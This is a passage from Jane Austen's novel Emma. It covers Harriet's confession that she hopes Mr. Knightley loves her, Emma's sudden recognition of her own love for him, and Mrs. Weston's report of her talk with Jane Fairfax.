that I never said any thing of either to the other, +which both might not have heard." + +"You are in luck.--Your only blunder was confined to my ear, +when you imagined a certain friend of ours in love with the lady." + +"True. But as I have always had a thoroughly good opinion of Miss +Fairfax, I never could, under any blunder, have spoken ill of her; +and as to speaking ill of him, there I must have been safe." + +At this moment Mr. Weston appeared at a little distance from the window, +evidently on the watch. His wife gave him a look which invited +him in; and, while he was coming round, added, "Now, dearest Emma, +let me intreat you to say and look every thing that may set his +heart at ease, and incline him to be satisfied with the match. +Let us make the best of it--and, indeed, almost every thing may +be fairly said in her favour. It is not a connexion to gratify; +but if Mr. Churchill does not feel that, why should we? and it +may be a very fortunate circumstance for him, for Frank, I mean, +that he should have attached himself to a girl of such steadiness +of character and good judgment as I have always given her credit for-- +and still am disposed to give her credit for, in spite of this +one great deviation from the strict rule of right. And how much +may be said in her situation for even that error!" + +"Much, indeed!" cried Emma feelingly. "If a woman can ever +be excused for thinking only of herself, it is in a situation +like Jane Fairfax's.--Of such, one may almost say, that `the +world is not their's, nor the world's law.'" + +She met Mr. Weston on his entrance, with a smiling countenance, +exclaiming, + +"A very pretty trick you have been playing me, upon my word! +This was a device, I suppose, to sport with my curiosity, +and exercise my talent of guessing. But you really frightened me. +I thought you had lost half your property, at least. And here, +instead of its being a matter of condolence, it turns out to be one +of congratulation.--I congratulate you, Mr. Weston, with all my heart, +on the prospect of having one of the most lovely and accomplished +young women in England for your daughter." + +A glance or two between him and his wife, convinced him that all was +as right as this speech proclaimed; and its happy effect on his spirits +was immediate. His air and voice recovered their usual briskness: +he shook her heartily and gratefully by the hand, and entered +on the subject in a manner to prove, that he now only wanted +time and persuasion to think the engagement no very bad thing. +His companions suggested only what could palliate imprudence, +or smooth objections; and by the time they had talked it all +over together, and he had talked it all over again with Emma, +in their walk back to Hartfield, he was become perfectly reconciled, +and not far from thinking it the very best thing that Frank could +possibly have done. + + + +CHAPTER XI + + +"Harriet, poor Harriet!"--Those were the words; in them lay the +tormenting ideas which Emma could not get rid of, and which constituted +the real misery of the business to her. Frank Churchill had behaved +very ill by herself--very ill in many ways,--but it was not so much +_his_ behaviour as her _own_, which made her so angry with him. +It was the scrape which he had drawn her into on Harriet's account, +that gave the deepest hue to his offence.--Poor Harriet! to be a second +time the dupe of her misconceptions and flattery. Mr. Knightley +had spoken prophetically, when he once said, "Emma, you have been +no friend to Harriet Smith."--She was afraid she had done her nothing +but disservice.--It was true that she had not to charge herself, +in this instance as in the former, with being the sole and original +author of the mischief; with having suggested such feelings as might +otherwise never have entered Harriet's imagination; for Harriet +had acknowledged her admiration and preference of Frank Churchill +before she had ever given her a hint on the subject; but she felt +completely guilty of having encouraged what she might have repressed. +She might have prevented the indulgence and increase of such sentiments. +Her influence would have been enough. And now she was very conscious +that she ought to have prevented them.--She felt that she had been +risking her friend's happiness on most insufficient grounds. +Common sense would have directed her to tell Harriet, that she +must not allow herself to think of him, and that there were five +hundred chances to one against his ever caring for her.--"But, with +common sense," she added, "I am afraid I have had little to do." + +She was extremely angry with herself. If she could not have been +angry with Frank Churchill too, it would have been dreadful.-- +As for Jane Fairfax, she might at least relieve her feelings +from any present solicitude on her account. Harriet would +be anxiety enough; she need no longer be unhappy about Jane, +whose troubles and whose ill-health having, of course, the same origin, +must be equally under cure.--Her days of insignificance and evil +were over.--She would soon be well, and happy, and prosperous.-- +Emma could now imagine why her own attentions had been slighted. +This discovery laid many smaller matters open. No doubt it had been +from jealousy.--In Jane's eyes she had been a rival; and well might +any thing she could offer of assistance or regard be repulsed. +An airing in the Hartfield carriage would have been the rack, +and arrowroot from the Hartfield storeroom must have been poison. +She understood it all; and as far as her mind could disengage itself +from the injustice and selfishness of angry feelings, she acknowledged +that Jane Fairfax would have neither elevation nor happiness beyond +her desert. But poor Harriet was such an engrossing charge! +There was little sympathy to be spared for any body else. +Emma was sadly fearful that this second disappointment would be +more severe than the first. Considering the very superior claims +of the object, it ought; and judging by its apparently stronger effect +on Harriet's mind, producing reserve and self-command, it would.-- +She must communicate the painful truth, however, and as soon +as possible. An injunction of secresy had been among Mr. Weston's +parting words. "For the present, the whole affair was to be +completely a secret. Mr. Churchill had made a point of it, +as a token of respect to the wife he had so very recently lost; +and every body admitted it to be no more than due decorum."-- +Emma had promised; but still Harriet must be excepted. It was her +superior duty. + +In spite of her vexation, she could not help feeling it almost ridiculous, +that she should have the very same distressing and delicate office to +perform by Harriet, which Mrs. Weston had just gone through by herself. +The intelligence, which had been so anxiously announced to her, +she was now to be anxiously announcing to another. Her heart beat +quick on hearing Harriet's footstep and voice; so, she supposed, +had poor Mrs. Weston felt when _she_ was approaching Randalls. +Could the event of the disclosure bear an equal resemblance!-- +But of that, unfortunately, there could be no chance. + +"Well, Miss Woodhouse!" cried Harriet, coming eagerly into the room-- +"is not this the oddest news that ever was?" + +"What news do you mean?" replied Emma, unable to guess, by look +or voice, whether Harriet could indeed have received any hint. + +"About Jane Fairfax. Did you ever hear any thing so strange? +Oh!--you need not be afraid of owning it to me, for Mr. Weston has +told me himself. I met him just now. He told me it was to be +a great secret; and, therefore, I should not think of mentioning +it to any body but you, but he said you knew it." + +"What did Mr. Weston tell you?"--said Emma, still perplexed. + +"Oh! he told me all about it; that Jane Fairfax and Mr. Frank +Churchill are to be married, and that they have been privately +engaged to one another this long while. How very odd!" + +It was, indeed, so odd; Harriet's behaviour was so extremely odd, +that Emma did not know how to understand it. Her character appeared +absolutely changed. She seemed to propose shewing no agitation, +or disappointment, or peculiar concern in the discovery. Emma looked +at her, quite unable to speak. + +"Had you any idea," cried Harriet, "of his being in love +with her?--You, perhaps, might.--You (blushing as she spoke) +who can see into every body's heart; but nobody else--" + +"Upon my word," said Emma, "I begin to doubt my having any such talent. +Can you seriously ask me, Harriet, whether I imagined him attached +to another woman at the very time that I was--tacitly, if not openly-- +encouraging you to give way to your own feelings?--I never had +the slightest suspicion, till within the last hour, of Mr. Frank +Churchill's having the least regard for Jane Fairfax. You may be +very sure that if I had, I should have cautioned you accordingly." + +"Me!" cried Harriet, colouring, and astonished. "Why should you +caution me?--You do not think I care about Mr. Frank Churchill." + +"I am delighted to hear you speak so stoutly on the subject," +replied Emma, smiling; "but you do not mean to deny that there +was a time--and not very distant either--when you gave me reason +to understand that you did care about him?" + +"Him!--never, never. Dear Miss Woodhouse, how could you so mistake me?" +turning away distressed. + +"Harriet!" cried Emma, after a moment's pause--"What do you mean?-- +Good Heaven! what do you mean?--Mistake you!--Am I to suppose then?--" + +She could not speak another word.--Her voice was lost; and she +sat down, waiting in great terror till Harriet should answer. + +Harriet, who was standing at some distance, and with face turned +from her, did not immediately say any thing; and when she did speak, +it was in a voice nearly as agitated as Emma's. + +"I should not have thought it possible," she began, "that you +could have misunderstood me! I know we agreed never to name him-- +but considering how infinitely superior he is to every body else, +I should not have thought it possible that I could be supposed +to mean any other person. Mr. Frank Churchill, indeed! I do not +know who would ever look at him in the company of the other. +I hope I have a better taste than to think of Mr. Frank Churchill, +who is like nobody by his side. And that you should have been +so mistaken, is amazing!--I am sure, but for believing that you +entirely approved and meant to encourage me in my attachment, +I should have considered it at first too great a presumption almost, +to dare to think of him. At first, if you had not told me +that more wonderful things had happened; that there had been +matches of greater disparity (those were your very words);-- +I should not have dared to give way to--I should not have thought +it possible--But if _you_, who had been always acquainted with him--" + +"Harriet!" cried Emma, collecting herself resolutely--"Let us +understand each other now, without the possibility of farther mistake. +Are you speaking of--Mr. Knightley?" + +"To be sure I am. I never could have an idea of any body else-- +and so I thought you knew. When we talked about him, it was as clear +as possible." + +"Not quite," returned Emma, with forced calmness, "for all that +you then said, appeared to me to relate to a different person. +I could almost assert that you had _named_ Mr. Frank Churchill. +I am sure the service Mr. Frank Churchill had rendered you, +in protecting you from the gipsies, was spoken of." + +"Oh! Miss Woodhouse, how you do forget!" + +"My dear Harriet, I perfectly remember the substance of what I +said on the occasion. I told you that I did not wonder at +your attachment; that considering the service he had rendered you, +it was extremely natural:--and you agreed to it, expressing yourself +very warmly as to your sense of that service, and mentioning +even what your sensations had been in seeing him come forward +to your rescue.--The impression of it is strong on my memory." + +"Oh, dear," cried Harriet, "now I recollect what you mean; but I +was thinking of something very different at the time. It was not +the gipsies--it was not Mr. Frank Churchill that I meant. No! (with +some elevation) I was thinking of a much more precious circumstance-- +of Mr. Knightley's coming and asking me to dance, when Mr. Elton +would not stand up with me; and when there was no other partner in +the room. That was the kind action; that was the noble benevolence +and generosity; that was the service which made me begin to feel +how superior he was to every other being upon earth." + +"Good God!" cried Emma, "this has been a most unfortunate-- +most deplorable mistake!--What is to be done?" + +"You would not have encouraged me, then, if you had understood me? +At least, however, I cannot be worse off than I should have been, +if the other had been the person; and now--it _is_ possible--" + +She paused a few moments. Emma could not speak. + +"I do not wonder, Miss Woodhouse," she resumed, "that you should feel +a great difference between the two, as to me or as to any body. +You must think one five hundred million times more above me than +the other. But I hope, Miss Woodhouse, that supposing--that if-- +strange as it may appear--. But you know they were your own words, +that _more_ wonderful things had happened, matches of _greater_ disparity +had taken place than between Mr. Frank Churchill and me; and, therefore, +it seems as if such a thing even as this, may have occurred before-- +and if I should be so fortunate, beyond expression, as to-- +if Mr. Knightley should really--if _he_ does not mind the disparity, +I hope, dear Miss Woodhouse, you will not set yourself against it, +and try to put difficulties in the way. But you are too good for that, +I am sure." + +Harriet was standing at one of the windows. Emma turned round +to look at her in consternation, and hastily said, + +"Have you any idea of Mr. Knightley's returning your affection?" + +"Yes," replied Harriet modestly, but not fearfully--"I must say +that I have." + +Emma's eyes were instantly withdrawn; and she sat silently meditating, +in a fixed attitude, for a few minutes. A few minutes were sufficient +for making her acquainted with her own heart. A mind like hers, +once opening to suspicion, made rapid progress. She touched-- +she admitted--she acknowledged the whole truth. Why was it +so much worse that Harriet should be in love with Mr. Knightley, +than with Frank Churchill? Why was the evil so dreadfully increased +by Harriet's having some hope of a return? It darted through her, +with the speed of an arrow, that Mr. Knightley must marry no one +but herself! + +Her own conduct, as well as her own heart, was before her in the +same few minutes. She saw it all with a clearness which had +never blessed her before. How improperly had she been acting +by Harriet! How inconsiderate, how indelicate, how irrational, +how unfeeling had been her conduct! What blindness, what madness, +had led her on! It struck her with dreadful force, and she +was ready to give it every bad name in the world. Some portion +of respect for herself, however, in spite of all these demerits-- +some concern for her own appearance, and a strong sense of justice +by Harriet--(there would be no need of _compassion_ to the girl +who believed herself loved by Mr. Knightley--but justice required +that she should not be made unhappy by any coldness now,) +gave Emma the resolution to sit and endure farther with calmness, +with even apparent kindness.--For her own advantage indeed, it was fit +that the utmost extent of Harriet's hopes should be enquired into; +and Harriet had done nothing to forfeit the regard and interest +which had been so voluntarily formed and maintained--or to deserve +to be slighted by the person, whose counsels had never led her right.-- +Rousing from reflection, therefore, and subduing her emotion, +she turned to Harriet again, and, in a more inviting accent, renewed +the conversation; for as to the subject which had first introduced it, +the wonderful story of Jane Fairfax, that was quite sunk and lost.-- +Neither of them thought but of Mr. Knightley and themselves. + +Harriet, who had been standing in no unhappy reverie, was yet very glad +to be called from it, by the now encouraging manner of such a judge, +and such a friend as Miss Woodhouse, and only wanted invitation, +to give the history of her hopes with great, though trembling +delight.--Emma's tremblings as she asked, and as she listened, +were better concealed than Harriet's, but they were not less. +Her voice was not unsteady; but her mind was in all the perturbation +that such a development of self, such a burst of threatening evil, +such a confusion of sudden and perplexing emotions, must create.-- +She listened with much inward suffering, but with great outward +patience, to Harriet's detail.--Methodical, or well arranged, +or very well delivered, it could not be expected to be; +but it contained, when separated from all the feebleness and +tautology of the narration, a substance to sink her spirit-- +especially with the corroborating circumstances, which her own memory +brought in favour of Mr. Knightley's most improved opinion of Harriet. + +Harriet had been conscious of a difference in his behaviour ever since +those two decisive dances.--Emma knew that he had, on that occasion, +found her much superior to his expectation. From that evening, +or at least from the time of Miss Woodhouse's encouraging her +to think of him, Harriet had begun to be sensible of his talking +to her much more than he had been used to do, and of his having +indeed quite a different manner towards her; a manner of kindness +and sweetness!--Latterly she had been more and more aware of it. +When they had been all walking together, he had so often come and walked +by her, and talked so very delightfully!--He seemed to want to be +acquainted with her. Emma knew it to have been very much the case. +She had often observed the change, to almost the same extent.-- +Harriet repeated expressions of approbation and praise from him-- +and Emma felt them to be in the closest agreement with what she had +known of his opinion of Harriet. He praised her for being without +art or affectation, for having simple, honest, generous, feelings.-- +She knew that he saw such recommendations in Harriet; he had dwelt +on them to her more than once.--Much that lived in Harriet's memory, +many little particulars of the notice she had received from him, a look, +a speech, a removal from one chair to another, a compliment implied, +a preference inferred, had been unnoticed, because unsuspected, +by Emma. Circumstances that might swell to half an hour's relation, +and contained multiplied proofs to her who had seen them, had passed +undiscerned by her who now heard them; but the two latest occurrences +to be mentioned, the two of strongest promise to Harriet, were not +without some degree of witness from Emma herself.--The first, +was his walking with her apart from the others, in the lime-walk +at Donwell, where they had been walking some time before Emma came, +and he had taken pains (as she was convinced) to draw her from +the rest to himself--and at first, he had talked to her in a more +particular way than he had ever done before, in a very particular +way indeed!--(Harriet could not recall it without a blush.) He seemed +to be almost asking her, whether her affections were engaged.-- +But as soon as she (Miss Woodhouse) appeared likely to join them, +he changed the subject, and began talking about farming:-- +The second, was his having sat talking with her nearly half an hour +before Emma came back from her visit, the very last morning of his +being at Hartfield--though, when he first came in, he had said +that he could not stay five minutes--and his having told her, +during their conversation, that though he must go to London, +it was very much against his inclination that he left home at all, +which was much more (as Emma felt) than he had acknowledged to _her_. +The superior degree of confidence towards Harriet, which this one +article marked, gave her severe pain. + +On the subject of the first of the two circumstances, she did, +after a little reflection, venture the following question. +"Might he not?--Is not it possible, that when enquiring, as you thought, +into the state of your affections, he might be alluding to Mr. Martin-- +he might have Mr. Martin's interest in view? But Harriet rejected +the suspicion with spirit. + +"Mr. Martin! No indeed!--There was not a hint of Mr. Martin. +I hope I know better now, than to care for Mr. Martin, or to be +suspected of it." + +When Harriet had closed her evidence, she appealed to her dear +Miss Woodhouse, to say whether she had not good ground for hope. + +"I never should have presumed to think of it at first," said she, +"but for you. You told me to observe him carefully, and let +his behaviour be the rule of mine--and so I have. But now I seem +to feel that I may deserve him; and that if he does chuse me, +it will not be any thing so very wonderful." + +The bitter feelings occasioned by this speech, the many bitter +feelings, made the utmost exertion necessary on Emma's side, +to enable her to say on reply, + +"Harriet, I will only venture to declare, that Mr. Knightley is +the last man in the world, who would intentionally give any woman +the idea of his feeling for her more than he really does." + +Harriet seemed ready to worship her friend for a sentence so satisfactory; +and Emma was only saved from raptures and fondness, which at +that moment would have been dreadful penance, by the sound of her +father's footsteps. He was coming through the hall. Harriet was +too much agitated to encounter him. "She could not compose herself-- +Mr. Woodhouse would be alarmed--she had better go;"--with most ready +encouragement from her friend, therefore, she passed off through +another door--and the moment she was gone, this was the spontaneous +burst of Emma's feelings: "Oh God! that I had never seen her!" + +The rest of the day, the following night, were hardly enough +for her thoughts.--She was bewildered amidst the confusion +of all that had rushed on her within the last few hours. +Every moment had brought a fresh surprize; and every surprize +must be matter of humiliation to her.--How to understand it all! +How to understand the deceptions she had been thus practising +on herself, and living under!--The blunders, the blindness of her +own head and heart!--she sat still, she walked about, she tried her +own room, she tried the shrubbery--in every place, every posture, +she perceived that she had acted most weakly; that she had been imposed +on by others in a most mortifying degree; that she had been imposing +on herself in a degree yet more mortifying; that she was wretched, +and should probably find this day but the beginning of wretchedness. + +To understand, thoroughly understand her own heart, was the +first endeavour. To that point went every leisure moment which her +father's claims on her allowed, and every moment of involuntary +absence of mind. + +How long had Mr. Knightley been so dear to her, as every feeling +declared him now to be? When had his influence, such influence begun?-- +When had he succeeded to that place in her affection, which Frank +Churchill had once, for a short period, occupied?--She looked back; +she compared the two--compared them, as they had always stood in +her estimation, from the time of the latter's becoming known to her-- +and as they must at any time have been compared by her, had it-- +oh! had it, by any blessed felicity, occurred to her, to institute +the comparison.--She saw that there never had been a time when she +did not consider Mr. Knightley as infinitely the superior, or when +his regard for her had not been infinitely the most dear. She saw, +that in persuading herself, in fancying, in acting to the contrary, +she had been entirely under a delusion, totally ignorant of her +own heart--and, in short, that she had never really cared for Frank +Churchill at all! + +This was the conclusion of the first series of reflection. +This was the knowledge of herself, on the first question of inquiry, +which she reached; and without being long in reaching it.-- +She was most sorrowfully indignant; ashamed of every sensation +but the one revealed to her--her affection for Mr. Knightley.-- +Every other part of her mind was disgusting. + +With insufferable vanity had she believed herself in the secret of every +body's feelings; with unpardonable arrogance proposed to arrange every +body's destiny. She was proved to have been universally mistaken; +and she had not quite done nothing--for she had done mischief. +She had brought evil on Harriet, on herself, and she too much feared, +on Mr. Knightley.--Were this most unequal of all connexions to +take place, on her must rest all the reproach of having given it +a beginning; for his attachment, she must believe to be produced only +by a consciousness of Harriet's;--and even were this not the case, +he would never have known Harriet at all but for her folly. + +Mr. Knightley and Harriet Smith!--It was a union to distance every +wonder of the kind.--The attachment of Frank Churchill and Jane +Fairfax became commonplace, threadbare, stale in the comparison, +exciting no surprize, presenting no disparity, affording nothing +to be said or thought.--Mr. Knightley and Harriet Smith!--Such an +elevation on her side! Such a debasement on his! It was horrible +to Emma to think how it must sink him in the general opinion, +to foresee the smiles, the sneers, the merriment it would prompt at +his expense; the mortification and disdain of his brother, the thousand +inconveniences to himself.--Could it be?--No; it was impossible. +And yet it was far, very far, from impossible.--Was it a new +circumstance for a man of first-rate abilities to be captivated by +very inferior powers? Was it new for one, perhaps too busy to seek, +to be the prize of a girl who would seek him?--Was it new for any +thing in this world to be unequal, inconsistent, incongruous--or for +chance and circumstance (as second causes) to direct the human fate? + +Oh! had she never brought Harriet forward! Had she left her where +she ought, and where he had told her she ought!--Had she not, +with a folly which no tongue could express, prevented her marrying +the unexceptionable young man who would have made her happy +and respectable in the line of life to which she ought to belong-- +all would have been safe; none of this dreadful sequel would have been. + +How Harriet could ever have had the presumption to raise +her thoughts to Mr. Knightley!--How she could dare to fancy +herself the chosen of such a man till actually assured of it!-- +But Harriet was less humble, had fewer scruples than formerly.-- +Her inferiority, whether of mind or situation, seemed little felt.-- +She had seemed more sensible of Mr. Elton's being to stoop +in marrying her, than she now seemed of Mr. Knightley's.-- +Alas! was not that her own doing too? Who had been at pains to give +Harriet notions of self-consequence but herself?--Who but herself +had taught her, that she was to elevate herself if possible, +and that her claims were great to a high worldly establishment?-- +If Harriet, from being humble, were grown vain, it was her doing too. + + + +CHAPTER XII + + +Till now that she was threatened with its loss, Emma had never known +how much of her happiness depended on being _first_ with Mr. Knightley, +first in interest and affection.--Satisfied that it was so, +and feeling it her due, she had enjoyed it without reflection; +and only in the dread of being supplanted, found how inexpressibly +important it had been.--Long, very long, she felt she had been first; +for, having no female connexions of his own, there had been +only Isabella whose claims could be compared with hers, and she +had always known exactly how far he loved and esteemed Isabella. +She had herself been first with him for many years past. +She had not deserved it; she had often been negligent or perverse, +slighting his advice, or even wilfully opposing him, insensible of +half his merits, and quarrelling with him because he would not +acknowledge her false and insolent estimate of her own--but still, +from family attachment and habit, and thorough excellence of mind, +he had loved her, and watched over her from a girl, with an endeavour +to improve her, and an anxiety for her doing right, which no +other creature had at all shared. In spite of all her faults, +she knew she was dear to him; might she not say, very dear?-- +When the suggestions of hope, however, which must follow here, +presented themselves, she could not presume to indulge them. +Harriet Smith might think herself not unworthy of being peculiarly, +exclusively, passionately loved by Mr. Knightley. _She_ could not. +She could not flatter herself with any idea of blindness in his attachment +to _her_. She had received a very recent proof of its impartiality.-- +How shocked had he been by her behaviour to Miss Bates! How directly, +how strongly had he expressed himself to her on the subject!--Not too +strongly for the offence--but far, far too strongly to issue from +any feeling softer than upright justice and clear-sighted goodwill.-- +She had no hope, nothing to deserve the name of hope, that he could +have that sort of affection for herself which was now in question; +but there was a hope (at times a slight one, at times much stronger,) +that Harriet might have deceived herself, and be overrating his +regard for _her_.--Wish it she must, for his sake--be the consequence +nothing to herself, but his remaining single all his life. +Could she be secure of that, indeed, of his never marrying at all, +she believed she should be perfectly satisfied.--Let him but continue +the same Mr. Knightley to her and her father, the same Mr. Knightley +to all the world; let Donwell and Hartfield lose none of their +precious intercourse of friendship and confidence, and her peace +would be fully secured.--Marriage, in fact, would not do for her. +It would be incompatible with what she owed to her father, and with +what she felt for him. Nothing should separate her from her father. +She would not marry, even if she were asked by Mr. Knightley. + +It must be her ardent wish that Harriet might be disappointed; +and she hoped, that when able to see them together again, she might at +least be able to ascertain what the chances for it were.--She should +see them henceforward with the closest observance; and wretchedly +as she had hitherto misunderstood even those she was watching, +she did not know how to admit that she could be blinded here.-- +He was expected back every day. The power of observation would be +soon given--frightfully soon it appeared when her thoughts were in +one course. In the meanwhile, she resolved against seeing Harriet.-- +It would do neither of them good, it would do the subject no good, +to be talking of it farther.--She was resolved not to be convinced, +as long as she could doubt, and yet had no authority for opposing +Harriet's confidence. To talk would be only to irritate.--She wrote +to her, therefore, kindly, but decisively, to beg that she would not, +at present, come to Hartfield; acknowledging it to be her conviction, +that all farther confidential discussion of _one_ topic had better +be avoided; and hoping, that if a few days were allowed to pass before +they met again, except in the company of others--she objected only +to a tete-a-tete--they might be able to act as if they had forgotten +the conversation of yesterday.--Harriet submitted, and approved, +and was grateful. + +This point was just arranged, when a visitor arrived to tear Emma's +thoughts a little from the one subject which had engrossed them, +sleeping or waking, the last twenty-four hours--Mrs. Weston, who had +been calling on her daughter-in-law elect, and took Hartfield in her +way home, almost as much in duty to Emma as in pleasure to herself, +to relate all the particulars of so interesting an interview. + +Mr. Weston had accompanied her to Mrs. Bates's, and gone through his +share of this essential attention most handsomely; but she having +then induced Miss Fairfax to join her in an airing, was now returned +with much more to say, and much more to say with satisfaction, +than a quarter of an hour spent in Mrs. Bates's parlour, with all +the encumbrance of awkward feelings, could have afforded. + +A little curiosity Emma had; and she made the most of it while +her friend related. Mrs. Weston had set off to pay the visit +in a good deal of agitation herself; and in the first place had +wished not to go at all at present, to be allowed merely to write +to Miss Fairfax instead, and to defer this ceremonious call till +a little time had passed, and Mr. Churchill could be reconciled +to the engagement's becoming known; as, considering every thing, +she thought such a visit could not be paid without leading to reports:-- +but Mr. Weston had thought differently; he was extremely anxious +to shew his approbation to Miss Fairfax and her family, and did not +conceive that any suspicion could be excited by it; or if it were, +that it would be of any consequence; for "such things," he observed, +"always got about." Emma smiled, and felt that Mr. Weston had +very good reason for saying so. They had gone, in short--and very +great had been the evident distress and confusion of the lady. +She had hardly been able to speak a word, and every look and action +had shewn how deeply she was suffering from consciousness. The quiet, +heart-felt satisfaction of the old lady, and the rapturous delight +of her daughter--who proved even too joyous to talk as usual, +had been a gratifying, yet almost an affecting, scene. They were +both so truly respectable in their happiness, so disinterested +in every sensation; thought so much of Jane; so much of every body, +and so little of themselves, that every kindly feeling was at work +for them. Miss Fairfax's recent illness had offered a fair plea +for Mrs. Weston to invite her to an airing; she had drawn back and +declined at first, but, on being pressed had yielded; and, in the +course of their drive, Mrs. Weston had, by gentle encouragement, +overcome so much of her embarrassment, as to bring her to converse +on the important subject. Apologies for her seemingly ungracious +silence in their first reception, and the warmest expressions of the +gratitude she was always feeling towards herself and Mr. Weston, +must necessarily open the cause; but when these effusions were put by, +they had talked a good deal of the present and of the future state +of the engagement. Mrs. Weston was convinced that such conversation +must be the greatest relief to her companion, pent up within her own +mind as every thing had so long been, and was very much pleased +with all that she had said on the subject. + +"On the misery of what she had suffered, during the concealment +of so many months," continued Mrs. Weston, "she was energetic. +This was one of her expressions. `I will not say, that since I +entered into the engagement I have not had some happy moments; but I +can say, that I have never known the blessing of one tranquil hour:'-- +and the quivering lip, Emma, which uttered it, was an attestation +that I felt at my heart." + +"Poor girl!" said Emma. "She thinks herself wrong, then, for having +consented to a private engagement?" + +"Wrong! No one, I believe, can blame her more than she is disposed +to blame herself. `The consequence,' said she, `has been a state +of perpetual suffering to me; and so it ought. But after all the +punishment that misconduct can bring, it is still not less misconduct. +Pain is no expiation. I never can be blameless. I have been acting +contrary to all my sense of right; and the fortunate turn that every +thing has taken, and the kindness I am now receiving, is what my +conscience tells me ought not to be.' `Do not imagine, madam,' +she continued, `that I was taught wrong. Do not let any reflection +fall on the principles or the care of the friends who brought +me up. The error has been all my own; and I do assure you that, +with all the excuse that present circumstances may appear to give, +I shall yet dread making the story known to Colonel Campbell.'" + +"Poor girl!" said Emma again. "She loves him then excessively, +I suppose. It must have been from attachment only, that she could +be led to form the engagement. Her affection must have overpowered +her judgment." + +"Yes, I have no doubt of her being extremely attached to him." + +"I am afraid," returned Emma, sighing, "that I must often have +contributed to make her unhappy." + +"On your side, my love, it was very innocently done. But she +probably had something of that in her thoughts, when alluding +to the misunderstandings which he had given us hints of before. +One natural consequence of the evil she had involved herself in," +she said, "was that of making her _unreasonable_. The consciousness +of having done amiss, had exposed her to a thousand inquietudes, +and made her captious and irritable to a degree that must have been-- +that had been--hard for him to bear. `I did not make the allowances,' +said she, `which I ought to have done, for his temper and spirits-- +his delightful spirits, and that gaiety, that playfulness +of disposition, which, under any other circumstances, would, I am sure, +have been as constantly bewitching to me, as they were at first.' +She then began to speak of you, and of the great kindness you +had shewn her during her illness; and with a blush which shewed me +how it was all connected, desired me, whenever I had an opportunity, +to thank you--I could not thank you too much--for every wish and +every endeavour to do her good. She was sensible that you had never +received any proper acknowledgment from herself." + +"If I did not know her to be happy now," said Emma, seriously, +"which, in spite of every little drawback from her scrupulous +conscience, she must be, I could not bear these thanks;--for, oh! +Mrs. Weston, if there were an account drawn up of the evil +and the good I have done Miss Fairfax!--Well (checking herself, +and trying to be more lively), this is all to be forgotten. +You are very kind to bring me these interesting particulars. +They shew her to the greatest advantage. I am sure she is very good-- +I hope she will be very happy. It is fit that the fortune +should be on his side, for I think the merit will be all on hers." + +Such a conclusion could not pass unanswered by Mrs. Weston. +She thought well of Frank in almost every respect; and, what was more, +she loved him very much, and her defence was, therefore, earnest. +She talked with a great deal of reason, and at least equal affection-- +but she had too much to urge for Emma's attention; it was soon gone +to Brunswick Square or to Donwell; she forgot to attempt to listen; +and when Mrs. Weston ended with, "We have not yet had the letter +we are so anxious for, you know, but I hope it will soon come," +she was obliged to pause before she answered, and at last obliged +to answer at random, before she could at all recollect what letter it +was which they were so anxious for. + +"Are you well, my Emma?" was Mrs. Weston's parting question. + +"Oh! perfectly. I am always well, you know. Be sure to give me +intelligence of the letter as soon as possible." + +Mrs. Weston's communications furnished Emma with more food for +unpleasant reflection, by increasing her esteem and compassion, +and her sense of past injustice towards Miss Fairfax. She bitterly +regretted not having sought a closer acquaintance with her, and blushed +for the envious feelings which had certainly been, in some measure, +the cause. Had she followed Mr. Knightley's known wishes, in paying +that attention to Miss Fairfax, which was every way her due; had she +tried to know her better; had she done her part towards intimacy; +had she endeavoured to find a friend there instead of in Harriet Smith; +she must, in all probability, have been spared from every pain +which pressed on her now.--Birth, abilities, and education, +had been equally marking one as an associate for her, to be received +with gratitude; and the other--what was she?--Supposing even that +they had never become intimate friends; that she had never been +admitted into Miss Fairfax's confidence on this important matter-- +which was most probable--still, in knowing her as she ought, +and as she might, she must have been preserved from the abominable +suspicions of an improper attachment to Mr. Dixon, which she had +not only so foolishly fashioned and harboured herself, but had so +unpardonably imparted; an idea which she greatly feared had been made +a subject of material distress to the delicacy of Jane's feelings, +by the levity or carelessness of Frank Churchill's. Of all the sources +of evil surrounding the former, since her coming to Highbury, +she was persuaded that she must herself have been the worst. +She must have been a perpetual enemy. They never could have been +all three together, without her having stabbed Jane Fairfax's peace +in a thousand instances; and on Box Hill, perhaps, it had been +the agony of a mind that would bear no more. + +The evening of this day was very long, and melancholy, at Hartfield. +The weather added what it could of gloom. A cold stormy rain set in, +and nothing of July appeared but in the trees and shrubs, which the +wind was despoiling, and the length of the day, which only made +such cruel sights the longer visible. + +The weather affected Mr. Woodhouse, and he could only be kept tolerably +comfortable by almost ceaseless attention on his daughter's side, +and by exertions which had never cost her half so much before. +It reminded her of their first forlorn tete-a-tete, on the evening +of Mrs. Weston's wedding-day; but Mr. Knightley had walked +in then, soon after tea, and dissipated every melancholy fancy. +Alas! such delightful proofs of Hartfield's attraction, as those +sort of visits conveyed, might shortly be over. The picture which +she had then drawn of the privations of the approaching winter, +had proved erroneous; no friends had deserted them, no pleasures +had been lost.--But her present forebodings she feared would +experience no similar contradiction. The prospect before her now, +was threatening to a degree that could not be entirely dispelled-- +that might not be even partially brightened. If all took place +that might take place among the circle of her friends, Hartfield must +be comparatively deserted; and she left to cheer her father with the +spirits only of ruined happiness. + +The child to be born at Randalls must be a tie there even dearer +than herself; and Mrs. Weston's heart and time would be occupied +by it. They should lose her; and, probably, in great measure, +her husband also.--Frank Churchill would return among them no more; +and Miss Fairfax, it was reasonable to suppose, would soon cease +to belong to Highbury. They would be married, and settled either +at or near Enscombe. All that were good would be withdrawn; and if +to these losses, the loss of Donwell were to be added, what would +remain of cheerful or of rational society within their reach? +Mr. Knightley to be no longer coming there for his evening comfort!-- +No longer walking in at all hours, as if ever willing to change +his own home for their's!--How was it to be endured? And if he were +to be lost to them for Harriet's sake; if he were to be thought +of hereafter, as finding in Harriet's society all that he wanted; +if Harriet were to be the chosen, the first, the dearest, the friend, +the wife to whom he looked for all the best blessings of existence; +what could be increasing Emma's wretchedness but the reflection never far +distant from her mind, that it had been all her own work? + +When it came to such a pitch as this, she was not able to refrain +from a start, or a heavy sigh, or even from walking about the room +for a few seconds--and the only source whence any thing like consolation +or composure could be drawn, was in the resolution of her own +better conduct, and the hope that, however inferior in spirit and +gaiety might be the following and every future winter of her life +to the past, it would yet find her more rational, more acquainted +with herself, and leave her less to regret when it were gone. + + + +CHAPTER XIII + + +The weather continued much the same all the following morning; +and the same loneliness, and the same melancholy, seemed to +reign at Hartfield--but in the afternoon it cleared; the wind +changed into a softer quarter; the clouds were carried off; +the sun appeared; it was summer again. With all the eagerness +which such a transition gives, Emma resolved to be out of doors +as soon as 